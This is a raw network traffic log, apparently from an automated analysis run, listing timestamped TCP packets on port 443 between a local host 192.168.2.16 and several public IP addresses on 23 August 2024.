Aug 23, 2024 16:21:57.727603912 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.727646112 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.727653980 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.727943897 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.728002071 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.728008032 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.728151083 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.728203058 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.728208065 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.728246927 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.728708029 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.728773117 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.728940964 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.728991032 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.729588985 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.729655981 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.729661942 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.729702950 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.729886055 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.729938984 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.731035948 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.731095076 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.731297016 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.731344938 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.748094082 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.748378038 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.748385906 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.749305010 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.749377966 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.749702930 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.749763966 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.749845982 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.749850988 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.756503105 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.761326075 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.763057947 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.763065100 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.766024113 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.766232967 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.766242981 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.767231941 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.767323017 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.767700911 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.767757893 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.767889023 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.767899990 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.789773941 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.789855003 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.789910078 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.790389061 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.790410042 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.793339968 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.802562952 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:57.802586079 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:57.802653074 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:57.802898884 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:57.802910089 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:57.809317112 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.809335947 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.814811945 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.814882040 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.815021038 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.815057993 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.815073967 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.815078974 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.815099001 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.857336998 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.909148932 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.909219027 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.909238100 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.909269094 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.909317970 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.909431934 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.909445047 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.909786940 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.909813881 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.909893036 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.910373926 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.910387993 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.946197033 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:57.946234941 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:57.946307898 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:57.946495056 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:57.946508884 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:58.357395887 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.357403040 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.357422113 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.357440948 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.357472897 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.357489109 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.357500076 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.357511044 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.357517004 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.357557058 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.357575893 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.357589960 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.357593060 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.357604980 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.357609034 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.357630014 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.358263016 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358299017 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358319998 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.358328104 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358366013 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.358371973 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358500004 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358541012 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358573914 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.358578920 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358586073 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358623028 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.358625889 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358678102 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358706951 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358714104 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.358720064 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.358748913 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.358762026 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.359299898 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.359416008 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.359476089 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.360507011 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.360519886 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.360912085 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.360915899 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.361936092 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.362154961 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:58.362164974 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.362911940 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.362915993 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.363590956 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.363670111 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:58.364079952 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:58.364159107 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.364269018 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:58.364275932 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.365092039 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.365396976 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.365427017 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.365442991 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.365457058 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.365504026 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.365509033 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.365545988 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.365586042 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.366345882 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.366357088 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.383781910 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.384063005 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.384105921 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.384429932 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.384774923 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.384848118 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.384891987 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.396536112 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396575928 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396598101 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396620035 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.396627903 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396662951 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.396806955 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396848917 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396878958 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396908045 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.396912098 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.396960020 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.397064924 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.397234917 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.397254944 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.397378922 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.397384882 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.397598028 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.400341988 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.400341988 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.400347948 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.416368961 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416424990 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416451931 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416472912 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.416496992 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416536093 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416536093 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.416547060 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416594028 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.416600943 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416656971 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.416698933 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.424501896 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.424514055 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.429332018 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:58.432329893 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.432360888 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.447319984 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.463994980 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:58.464338064 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:58.464354992 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:58.465369940 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:58.465451956 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:58.467051029 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:58.467118025 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:58.467241049 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:58.467248917 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:58.476162910 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.476310968 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.476345062 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.476372957 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.476383924 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.476598024 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.476603985 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.476650953 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.476700068 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.476706982 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477715015 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477750063 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477772951 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.477786064 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477828979 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.477833986 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477875948 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477921963 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.477927923 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477938890 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.477987051 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.478204012 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.478216887 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.487760067 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.487826109 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.487878084 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.487883091 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.488109112 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.488149881 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.488152981 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.488212109 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.488257885 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.488260984 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.488738060 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.488771915 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.488841057 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.488951921 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.488992929 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.488996983 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.489159107 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.489173889 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.489630938 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.489658117 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.489676952 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.489680052 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.489718914 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.489773989 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.490458965 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.490485907 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.490504026 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.490508080 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.490542889 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.490839005 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.491353989 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.491396904 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.491400957 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.492644072 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.492692947 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.492696047 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.511442900 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:58.514061928 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.514173031 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.514228106 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:58.514748096 CEST	49823	443	192.168.2.16	172.67.70.233
Aug 23, 2024 16:21:58.514760971 CEST	443	49823	172.67.70.233	192.168.2.16
Aug 23, 2024 16:21:58.543478012 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.579485893 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595011950 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595068932 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595092058 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595114946 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.595123053 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595168114 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.595307112 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595489979 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595509052 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595540047 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.595547915 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.595582962 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.595671892 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.596326113 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.596369028 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.596374035 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.596412897 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.596438885 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.596448898 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.596453905 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.596503019 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.597140074 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.597201109 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.597237110 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.597240925 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.597489119 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.597523928 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.597528934 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.598572016 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.598592043 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.598618984 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.598629951 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.598666906 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.599824905 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.623441935 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.623449087 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.654330969 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.669393063 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.677464008 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.677508116 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.677532911 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.677555084 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.677561045 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.677593946 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.680687904 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:58.680730104 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:58.680819988 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:58.681190968 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:58.681201935 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:58.709559917 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.709651947 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.709702015 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.709830046 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.709842920 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.709878922 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.709894896 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.712747097 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.712780952 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.712841988 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.713124990 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.713136911 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.799132109 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.799679995 CEST	443	49819	188.114.96.3	192.168.2.16
